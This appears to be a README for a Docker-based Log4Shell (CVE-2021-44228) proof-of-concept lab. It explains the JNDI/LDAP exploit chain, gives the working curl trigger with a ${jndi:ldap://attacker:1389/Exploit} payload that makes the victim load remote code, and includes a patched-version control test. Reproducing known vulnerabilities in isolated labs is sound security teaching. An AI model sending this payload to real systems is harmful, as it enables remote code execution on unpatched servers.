## https://sploitus.com/exploit?id=764AFC75-2C00-5415-AF4F-55A362B05C5D
# Log4Shell (CVE-2021-44228) Proof-of-Concept Lab
An **isolated, self-contained** lab that reproduces the Log4Shell remote code
execution vulnerability end to end. Everything runs in Docker containers on a
private network. **Never target any system you do not own. Do not expose these
containers to a public network.**
## Components
| Service | Role |
|------------|----------------------------------------------------------------------|
| `victim` | HTTP app on `:8080` that logs the `User-Agent` header via Log4j 2.14.1 (vulnerable). Runs on JDK 8u181 so remote class loading is permitted. |
| `attacker` | Malicious LDAP referral server on `:1389` (marshalsec) + HTTP server on `:8888` hosting the compiled `Exploit.class`. |
## Exploit chain
1. Attacker sends an HTTP request whose `User-Agent` contains
`${jndi:ldap://attacker:1389/Exploit}`.
2. The victim logs it; Log4j evaluates the JNDI lookup and connects to the
attacker's LDAP server.
3. The LDAP server returns a reference pointing to
`http://attacker:8888/Exploit.class`.
4. The victim's JVM downloads and instantiates the class, running its static
initializer -> code execution inside the victim container.
5. Proof: the payload writes `/tmp/pwned.txt` inside the victim.
## Requirements
- Docker Desktop running (Docker Engine + Compose v2).
- Internet access for the **first build only**: it pulls the base images
(`maven:3.8-openjdk-8`, `openjdk:8u181-jdk`) and clones + compiles
`marshalsec` from GitHub inside the attacker image. The first build typically
takes a few minutes; subsequent runs start in seconds.
## Project layout
```
log4shell-lab/
โโโ docker-compose.yml # orchestrates the two containers
โโโ vulnerable-app/ # the victim
โ โโโ Dockerfile # build + JDK 8u181 runtime
โ โโโ pom.xml # depends on Log4j 2.14.1 (vulnerable)
โ โโโ src/main/java/com/example/VulnerableApp.java
โ โโโ src/main/resources/log4j2.xml
โโโ attacker/ # the attacker
โโโ Dockerfile # builds marshalsec + compiles the payload
โโโ entrypoint.sh # starts the HTTP + LDAP servers
โโโ exploit/Exploit.java # malicious payload class
```
## Run
```bash
cd log4shell-lab
docker compose up --build
```
Wait until you see:
- `[victim] Vulnerable Log4j application listening on :8080`
- `[attacker] Starting malicious LDAP referral server on :1389`
## Trigger the exploit
In a second terminal:
```bash
curl -H 'User-Agent: ${jndi:ldap://attacker:1389/Exploit}' http://localhost:8080/
```
Note: the `attacker` hostname inside the payload is resolved by the **victim**
container on the shared Docker network, so it does not need to resolve on your
host.
## Verify remote code execution
```bash
docker compose exec victim cat /tmp/pwned.txt
```
Expected output (proof the payload ran as the victim process):
```
uid=0(root) gid=0(root) groups=0(root)
Log4Shell RCE successful (CVE-2021-44228)
```
## Control test (optional but recommended)
Show that a fixed version is NOT vulnerable:
1. In `vulnerable-app/pom.xml` change `` from `2.14.1` to
`2.17.1`.
2. Rebuild: `docker compose up --build victim`.
3. Re-run the curl command; `/tmp/pwned.txt` is never created.
## Tear down
```bash
docker compose down
```